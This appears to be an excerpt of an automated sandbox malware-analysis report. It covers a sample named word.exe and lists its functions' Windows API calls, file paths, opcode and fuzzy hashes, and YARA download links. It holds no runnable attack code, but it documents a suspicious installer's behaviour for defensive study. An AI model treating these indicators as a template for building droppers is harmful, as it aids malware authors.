C:\, xrefs: 00405772, 00405777, 0040577D, 004057B8, 004057BE, 004057C6, 004057CE

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 0c6b5d1daa3c2ede88059e0d3e78c561d31498b229fd294e54aeb43f41febe10
Instruction ID: 54d673280676c30d7487fb506765264cad7adccc2ba99e33922fd806b78c8ed4
Opcode Fuzzy Hash: 0c6b5d1daa3c2ede88059e0d3e78c561d31498b229fd294e54aeb43f41febe10
Instruction Fuzzy Hash: DAF0C829105D509AD222373A5C05ABF2655CE86364F19063BFC55B32D2DB3C8943FD7E

Uniqueness

Uniqueness Score: -1.00%

Function 004053F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422540,Error launching installer), ref: 0040541D
CloseHandle.KERNEL32(?), ref: 0040542A

Strings

Error launching installer, xrefs: 0040540B

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction ID: 7090b7fc8b0b8bfe0e18f62cc41de09a41a9c6505e722368f6ae49628a4dc155
Opcode Fuzzy Hash: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction Fuzzy Hash: F6E0ECB4A00219BBDB109F64ED09AABBBBCFB00304F50C521E910E2160E774E950CA69

Uniqueness

Uniqueness Score: -1.00%

Function 00406609 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction ID: 2446724231f05ea51107c8768389afa7e2a62b3a86e3c0cdb9b17195a5c17046
Opcode Fuzzy Hash: 00f2de6477f22270801ef5006171c2706c5d9d3ffcda3e5f9c9b7caabde0979f
Instruction Fuzzy Hash: E9A14F71E00228CFDB28CFA8C8547ADBBB1FB45305F21816AD956BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction ID: c9a91825e94b1235ed1e5db661991067e3a312009d26920905f6c04b87fbb156
Opcode Fuzzy Hash: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction Fuzzy Hash: 25913F71E00228CFDF28DFA8C8547ADBBB1FB44305F15816AD916BB291C3789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406520 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction ID: 178f069459afe4b8f6f8f854f87fc4d5347ab2ec506c5a0858b6a976d85c5aaa
Opcode Fuzzy Hash: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction Fuzzy Hash: 8E816871E00228CFDF24DFA8C8447ADBBB1FB45301F25816AD816BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406025 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction ID: b8f14fa8ad5cea51b2b9a2e46606c418b7244df3771cf842608f3b99def8c173
Opcode Fuzzy Hash: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction Fuzzy Hash: A3818731E00228CFDF24DFA8C8447ADBBB1FB45305F21816AD956BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406473 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction ID: ed496f49c15cb1a0cee1f91230a4d4bd76d3fd25087baa69d2252d5f7e71f344
Opcode Fuzzy Hash: 17d2eea9f7cdce8bc4a623307af2d8c55e83d6c30150793070c9d330b5787031
Instruction Fuzzy Hash: 30713271E00228CFDF28DFA8C8547ADBBB1FB44305F15806AD906BB281D7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406591 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction ID: c4674237f5282a099a09cde02a4657600336f9fef0cdfe8d994bfdecfa790225
Opcode Fuzzy Hash: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction Fuzzy Hash: 4A714671E00228CFDF28DFA8C8547ADBBB1FB44301F15816AD916BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004064DD Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction ID: 5a6a632b4197b5bad3eb6902eefc8e88da0621a447eca7476662d6aa47a1fed0
Opcode Fuzzy Hash: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction Fuzzy Hash: 93714571E00228CFEF28DF98C8547ADBBB1FB44305F15816AD916BB281C7789A56DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401E38 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F40

Part of subcall function 004053F8: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422540,Error launching installer), ref: 0040541D
Part of subcall function 004053F8: CloseHandle.KERNEL32(?), ref: 0040542A

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E72
GetExitCodeProcess.KERNELBASE(?,?), ref: 00401E82
CloseHandle.KERNEL32(?), ref: 00401EA7

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: fee99b61f809a53683fc29f07b08f3b8ec53ffd30f17739a64443d1dd851e78e
Instruction ID: 9f74951c8685777ff7248368b05c14b320234156a546818c44ddf0e00d329478
Opcode Fuzzy Hash: fee99b61f809a53683fc29f07b08f3b8ec53ffd30f17739a64443d1dd851e78e
Instruction Fuzzy Hash: F0015731E04205EBCF21AFA1D984AAE7A71EF00344F54813BF905B61E1C7BC4A41EB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction ID: 9ae17229e6d33b90ed82c987c6c55cbce7d6b2b41e99f766f3e5bcfc28262e64
Opcode Fuzzy Hash: 3f695f75208f640be867956647b5e414a31c5be601b183f87834ddd8f53d2100
Instruction Fuzzy Hash: CA014472B242109BEB184B389C04B2A32A8E710319F10813BF841F72F1D638CC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F28 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

Part of subcall function 00405EBA: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405ED1
Part of subcall function 00405EBA: wsprintfA.USER32 ref: 00405F0A
Part of subcall function 00405EBA: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction ID: ae0a47d2ae808e9ad23d4e83699500a4151a320e34d6f574464110b7e3b32053
Opcode Fuzzy Hash: c95d3685517970e0c019aac56d97440eb4eeb9d6cd7db5aa949554c45ee13345
Instruction Fuzzy Hash: 7AE08632A0951176D61097709D0496773ADDAC9740300087EF659F6181D738AC119E6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040586F Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C95,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 00405873
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405895

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction ID: e615d4ce70e2a600ad3370b8a7bf294de68ab1b424622093f8f4c5f34a5113e1
Opcode Fuzzy Hash: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction Fuzzy Hash: D5D09E31658301AFEF098F20DD1AF2EBBA2EB84B01F10962CB646940E0D6715C59DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00403511 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(FFFFFFFF), ref: 0040351C

Strings

C:\Users\user\AppData\Local\Temp\nso8B21.tmp\, xrefs: 00403530

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nso8B21.tmp\
API String ID: 2962429428-2245220532
Opcode ID: 69a1ec42bfd2c808f6210beb952dd846253a51cc7dcbdee1183c199696e0200a
Instruction ID: d56dd6d0e9358e7abe0e1c75cf4fb1a02b43fa7986872cd818a2a6dcef25a25f
Opcode Fuzzy Hash: 69a1ec42bfd2c808f6210beb952dd846253a51cc7dcbdee1183c199696e0200a
Instruction Fuzzy Hash: 07C0123090860466D2207F78AE0B7053B58A741336B900725F174B00F2D73C6A41556E

Uniqueness

Uniqueness Score: -1.00%

Function 00405850 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,0040565B,?,?,?), ref: 00405854
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405866

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction ID: 81e3be7da977fa0fdb855dbc2a497946ad1e8e9610c44c99cc48e92da118c7e0
Opcode Fuzzy Hash: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction Fuzzy Hash: C2C00271808501AAD6016B34EE0D81F7B66EB54321B148B25F469A01F0C7315C66DA2A

Uniqueness

Uniqueness Score: -1.00%

Function 004053C3 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030EE,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 004053C9
GetLastError.KERNEL32 ref: 004053D7

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 6b45de36f316d487aa01e9413b839baa5bb3cf32c01ac4838d60d751b980a7e6
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: E0C04C30619642DBD7105B31ED08B177E60EB50781F208935A506F11E0D6B4D451DD3E

Uniqueness

Uniqueness Score: -1.00%

Function 00403081 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF), ref: 00403098

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
